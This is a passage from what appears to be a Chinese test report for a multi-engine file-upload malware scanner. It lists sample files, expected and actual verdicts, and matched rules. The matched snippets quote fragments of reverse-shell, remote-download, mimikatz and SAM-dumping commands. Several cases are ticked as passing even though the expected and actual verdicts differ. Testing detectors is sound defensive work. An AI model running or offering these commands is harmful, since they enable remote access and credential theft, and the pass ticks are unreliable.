Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-014-04 — L1-014_concurrent_eicar_04.txt
- 描述: 并发压测占位 #4
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-014-05 — L1-014_concurrent_eicar_05.txt
- 描述: 并发压测占位 #5
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-014-06 — L1-014_concurrent_eicar_06.txt
- 描述: 并发压测占位 #6
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-014-07 — L1-014_concurrent_eicar_07.txt
- 描述: 并发压测占位 #7
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-014-08 — L1-014_concurrent_eicar_08.txt
- 描述: 并发压测占位 #8
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-014-09 — L1-014_concurrent_eicar_09.txt
- 描述: 并发压测占位 #9
- 文件大小: 68 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
EmbeddedEICAR |
35.0 | 文件内嵌 EICAR 测试病毒字节序列(文件大小 68B) |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
✅ L1-015 — L1-015_layer_off_sample.bin
- 描述: 关闭分层开关测试占位
- 文件大小: 68 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 Eicar-Test-Signature 命中:ClamAV 签名命中:Eicar-Test-Signature
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .bin,实际内容为 EICAR virus test files(.txt) |
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.bin |
clamav |
L1 |
critical |
Eicar-Test-Signature |
90.0 | ClamAV 签名命中:Eicar-Test-Signature |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'DOS Header magic not found.' |
L3
✅ L3-001 — L3-001_001_sample.ps1
- 描述: PS1明文:Invoke-WebRequest下载
- 文件大小: 77 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.ps1 |
document |
L2 |
critical |
SuspiciousScript |
70.0 | 下载远程载荷 |
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] |
yara |
L2B |
low |
Test_PowerShell_Download |
10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
✅ L3-002 — L3-002_002_sample.ps1
- 描述: PS1明文:反弹shell nc
- 文件大小: 29 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc 10.0.0.5']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.ps1 |
keywords |
L2B |
critical |
ReverseShellNetcat |
40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc 10.0.0.5'] |
yara |
L2B |
low |
C7_Linux_ReverseShell_NC |
85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
yara |
L2B |
low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
✅ L3-003 — L3-003_003_sample.bat
- 描述: bat明文:curl下载payload
- 文件大小: 40 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://ev']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.bat |
keywords |
L2B |
high |
RemoteDownloadUnix |
30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://ev'] |
✅ L3-004 — L3-004_004_sample.txt
- 描述: 文本包含mimikatz关键字
- 文件大小: 54 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 CredentialStealer 命中:词表命中:CredentialStealer(模式=regex),命中 2 处:['mimikatz.exe privi', 'ge::debug sekurlsa::logonpas']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
critical |
CredentialStealer |
45.0 | 词表命中:CredentialStealer(模式=regex),命中 2 处:['mimikatz.exe privi', 'ge::debug sekurlsa::logonpas'] |
✅ L3-005 — L3-005_005_sample.txt
- 描述: 文本包含reg save导出注册表
- 文件大小: 26 B
- 预期:
reject - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 CredentialExport 命中:词表命中:CredentialExport(模式=regex),命中 1 处:['reg save HKLM\SAM sam.save']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
critical |
CredentialExport |
45.0 | 词表命中:CredentialExport(模式=regex),命中 1 处:['reg save HKLM\SAM sam.save'] |
✅ L3-006 — L3-006_006_sample.txt
- 描述: 文本包含rdp、tscon劫持关键字
- 文件大小: 23 B
- 预期:
review - 实际:
suspicious(score=35.0, action=manual_review) - 判定理由: keywords:词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['tscon 1 /dest:r']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
high |
RemoteSessionHijack |
35.0 | 词表命中:RemoteSessionHijack(模式=regex),命中 1 处:['tscon 1 /dest:r'] |
✅ L3-007 — L3-007_007_sample.txt
- 描述: 高危串base64编码放在txt
- 文件大小: 23 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L3-008 — L3-008_008_sample.ps1
- 描述: Powershell字符串拆分拼接绕过
- 文件大小: 39 B
- 预期:
pass - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.ps1
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.ps1 |
✅ L3-009 — L3-009_newline_split.txt
- 描述: 换行分割绕过(L3 不做换行合并,记录边界)
- 文件大小: 54 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest https://e']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest https://e'] |
✅ L3-010 — L3-010_010_sample.ps1
- 描述: 高危串插入注释分割(powershell #注释)
- 文件大小: 42 B
- 预期:
review - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.ps1
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.ps1 |
✅ L3-011 — L3-011_011_sample.js
- 描述: 高危串放js脚本内
- 文件大小: 58 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:["Function('wget http://ev"]
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.js |
keywords |
L2B |
high |
RemoteDownloadUnix |
30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:["Function('wget http://ev"] |
✅ L3-012 — L3-012_012_sample.bat
- 描述: 正常内网运维curl(白名单对照)
- 文件大小: 34 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadUnix 命中:词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://19']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.bat |
keywords |
L2B |
high |
RemoteDownloadUnix |
30.0 | 词表命中:RemoteDownloadUnix(模式=regex),命中 1 处:['curl http://19'] |
✅ L3-013 — L3-013_normal_scp.sh
- 描述: 内网正常 scp 运维脚本,不误报
- 文件大小: 118 B
- 预期:
pass - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.sh
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.sh |
✅ L3-014 — L3-014_l3001_in_zip.zip
- 描述: 高危字符串放在zip内部txt
- 文件大小: 177 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['ayload.ps1Invoke-WebRequest -Uri http']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ArchiveContainsExecutable |
30.0 | 归档内含可执行文件 1 个:payload.ps1 |
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['ayload.ps1Invoke-WebRequest -Uri http'] |
yara |
L2B |
low |
Test_PowerShell_Download |
10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
✅ L3-015 — L3-015_keyword_in_docx.docx
- 描述: 高危字符串放在docx文本正文
- 文件大小: 316 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['cument.xmlInvoke-WebRequest -Uri http']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['cument.xmlInvoke-WebRequest -Uri http'] |
yara |
L2B |
low |
Test_PowerShell_Download |
10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
✅ L3-016 — L3-016_016_sample.ps1
- 描述: 空脚本文件(负样本)
- 文件大小: 0 B
- 预期:
pass - 实际:
suspicious(score=30.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.ps1
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.ps1 |
✅ L3-017 — L3-017_017_sample.txt
- 描述: 多条高危特征同文件复合
- 文件大小: 39 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc -lv 4444']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
critical |
ReverseShellNetcat |
40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc -lv 4444'] |
keywords |
L2B |
critical |
CredentialStealer |
45.0 | 词表命中:CredentialStealer(模式=regex),命中 1 处:['lv 4444 & mimikatz privilege'] |
✅ L3-018 — L3-018_018_sample.txt
- 描述: 高危字符串大小写混写
- 文件大小: 34 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['iNvOkE-WebReQuEsT https://e']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['iNvOkE-WebReQuEsT https://e'] |
✅ L3-019 — L3-019_unicode_obfuscated.txt
- 描述: 同形字混淆,L3 默认不命中
- 文件大小: 35 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L3-020 — L3-020_log_with_keyword.log
- 描述: 日志文件混杂正常日志+高危串
- 文件大小: 163 B
- 预期:
reject - 实际:
malicious(score=95.0, action=reject) - 判定理由: 风险评分 95.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
yara |
L2B |
low |
C7_Linux_ReverseShell_NC |
85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
yara |
L2B |
low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
✅ L3-021 — L3-021_021_sample.eml
- 描述: 高危字符串放在eml邮件正文
- 文件大小: 89 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['r@evil.comInvoke-WebRequest -Uri http']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['r@evil.comInvoke-WebRequest -Uri http'] |
yara |
L2B |
low |
Test_PowerShell_Download |
10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
✅ L3-022 — L3-022_layer_off_sample.bin
- 描述: 关闭分层开关测试占位
- 文件大小: 57 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .bin,实际内容为 ASCII text, with no line terminators(.txt) |
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.bin |
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] |
yara |
L2B |
low |
Test_PowerShell_Download |
10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Unable to read the DOS Header, possibly a truncated file.' |
✅ L3-023 — L3-023_keyword_in_encrypted.zip
- 描述: 加密 zip 内容无法扫描(标记)
- 文件大小: 139 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 CredentialStealer 命中:词表命中:CredentialStealer(模式=regex),命中 1 处:['?Jevil.txtmimikatz privilege']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
critical |
CredentialStealer |
45.0 | 词表命中:CredentialStealer(模式=regex),命中 1 处:['?Jevil.txtmimikatz privilege'] |
✅ L3-024 — L3-024_024_sample.txt
- 描述: 超长单行文本(10万字符)包含高危串
- 文件大小: 100,035 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest xxxxxxxxx']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest xxxxxxxxx'] |
✅ L3-025 — L3-025_whitelist_test.txt
- 描述: 内网白名单域名对照(策略层白名单)
- 文件大小: 87 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] |
yara |
L2B |
low |
Test_PowerShell_Download |
10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
L4
✅ L4-001 — L4-001_001_sample.txt
- 描述: YARA正向命中占位(需对应规则)
- 文件大小: 85 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['-e cmd.exebash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
critical |
ReverseShellNetcat |
40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['-e cmd.exebash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4'] |
yara |
L2B |
low |
C7_Linux_ReverseShell_Bash |
85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
yara |
L2B |
low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
✅ L4-002 — L4-002_002_sample.txt
- 描述: 干净对照
- 文件大小: 42 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L4-003 — L4-003_pe_with_string.exe
- 描述: 二进制内嵌匹配字符串
- 文件大小: 928 B
- 预期:
review - 实际:
malicious(score=75.0, action=reject) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
UnsignedExecutable |
20.0 | 可执行文件未携带数字签名 |
binary |
L2B |
low |
SuspiciousTimestamp |
10.0 | PE 编译时间戳异常,可能被伪造 |
binary |
L2B |
low |
PEArchInfo |
0.0 | PE 架构:0x014c / 32-bit |
✅ L4-004 — L4-004_multi_rule_match.txt
- 描述: 同一个文件同时命中多条 YARA
- 文件大小: 128 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['-e /bin/shInvoke-WebRequest -Uri http']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
high |
RemoteDownloadPowerShell |
35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['-e /bin/shInvoke-WebRequest -Uri http'] |
yara |
L2B |
low |
C7_Linux_ReverseShell_NC |
85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
yara |
L2B |
low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
yara |
L2B |
low |
Test_PowerShell_Download |
10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
✅ L4-005 — L4-005_005_sample.txt
- 描述: 热加载测试占位
- 文件大小: 153 B
- 预期:
review - 实际:
suspicious(score=10.0, action=pass_with_flag) - 判定理由: 风险评分 10.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
yara |
L2B |
low |
Newly_Added_Rule_Test |
10.0 | YARA 规则 Newly_Added_Rule_Test 命中(标签:无) |
✅ L4-006 — L4-006_bad_syntax_rule.yar
- 描述: 语法错误 YARA 规则文件(输入给规则目录)
- 文件大小: 43 B
- 预期:
review - 实际:
reject(score=100.0, action=reject) - 判定理由: 文件类型 .yar 不在允许清单内
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .yar,实际内容为 ASCII text, with no line terminators(.txt) |
✅ L4-007 — L4-007_meta_rule_match.txt
- 描述: 带 meta 的 YARA 规则匹配
- 文件大小: 21 B
- 预期:
review - 实际:
suspicious(score=10.0, action=pass_with_flag) - 判定理由: 风险评分 10.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
yara |
L2B |
low |
Meta_Label_Test |
10.0 | YARA 规则 Meta_Label_Test 命中(标签:无) |
✅ L4-008 — L4-008_in_zip.zip
- 描述: 压缩包内文件匹配YARA规则
- 文件大小: 183 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nside zip:nc 192.168.1']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
critical |
ReverseShellNetcat |
40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nside zip:nc 192.168.1'] |
yara |
L2B |
low |
C7_Linux_ReverseShell_NC |
85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
yara |
L2B |
low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
✅ L4-009 — L4-009_yara_in_encrypted.zip
- 描述: 加密 zip 内 YARA 样本
- 文件大小: 150 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
✅ L4-010 — L4-010_010_sample.txt
- 描述: 正则 YARA 测试占位
- 文件大小: 165 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 零容忍规则 ReverseShellPowershell 命中:词表命中:ReverseShellPowershell(模式=regex),命中 1 处:['r payload:powershell -enc SQBFAFgAI']
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
keywords |
L2B |
critical |
ReverseShellPowershell |
35.0 | 词表命中:ReverseShellPowershell(模式=regex),命中 1 处:['r payload:powershell -enc SQBFAFgAI'] |
yara |
L2B |
low |
Regex_Shell_Pattern |
10.0 | YARA 规则 Regex_Shell_Pattern 命中(标签:无) |
✅ L4-011 — L4-011_count_condition.txt
- 描述: YARA count > 3 条件
- 文件大小: 140 B
- 预期:
review - 实际:
suspicious(score=10.0, action=pass_with_flag) - 判定理由: 风险评分 10.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
yara |
L2B |
low |
Count_Condition_Test |
10.0 | YARA 规则 Count_Condition_Test 命中(标签:无) |
✅ L4-012 — L4-012_size_condition.bin
- 描述: YARA 文件大小条件
- 文件大小: 29 B
- 预期:
review - 实际:
reject(score=100.0, action=reject) - 判定理由: 声明扩展名与真实类型不一致,疑似伪装
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .bin,实际内容为 ASCII text, with no line terminators(.txt) |
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.bin |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Unable to read the DOS Header, possibly a truncated file.' |
✅ L4-013 — L4-013_bigfile_yara.txt
- 描述: 100MB 文件 YARA 扫描
- 文件大小: 2,000,118 B
- 预期:
review - 实际:
malicious(score=100.0, action=reject) - 判定理由: 风险评分 100.0
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
yara |
L2B |
low |
C7_Linux_ReverseShell_Bash |
85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
yara |
L2B |
low |
C7_Linux_ReverseShell_NC |
85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
yara |
L2B |
low |
C7_Linux_ReverseShell_Misc |
25.0 | YARA 规则 C7_Linux_ReverseShell_Misc 命中(标签:无) |
yara |
L2B |
low |
Test_ReverseShell_Basic |
10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
✅ L4-014 — L4-014_layer_off_sample.bin
- 描述: 关闭分层开关测试占位
- 文件大小: 21 B
- 预期:
review - 实际:
reject(score=100.0, action=reject) - 判定理由: 声明扩展名与真实类型不一致,疑似伪装
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
high |
ExtensionMismatch |
30.0 | 扩展名声明为 .bin,实际内容为 ASCII text, with no line terminators(.txt) |
structure |
L0 |
high |
DangerousExecutableExtension |
30.0 | 文件类型为可执行/脚本格式:.bin |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Unable to read the DOS Header, possibly a truncated file.' |
✅ L4-015 — L4-015_hash_whitelist.txt
- 描述: MD5 在白名单
- 文件大小: 19 B
- 预期:
pass - 实际:
clean(score=0.0, action=pass) - 判定理由: 未发现安全风险
命中规则: 无
L5
✅ L5-001 — L5-001_clean_hello.exe
- 描述: 原生干净HelloWorld PE(无壳)
- 文件大小: 926 B
- 预期:
pass - 实际:
suspicious(score=55.0, action=manual_review) - 判定理由: structure:文件类型为可执行/脚本格式:.exe
命中规则:
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|---|---|---|---|---|---|
structure |
L0 |
critical |
DangerousExecutableExtension |
45.0 | 文件类型为可执行/脚本格式:.exe |
binary |
L2B |
medium |
PeParseFailed |
10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
✅ L5-002 — L5-002_upx_shell.exe
- 描述: UPX0/UPX1 节名
- 文件大小: 926 B
- 预期:
review - 实际:
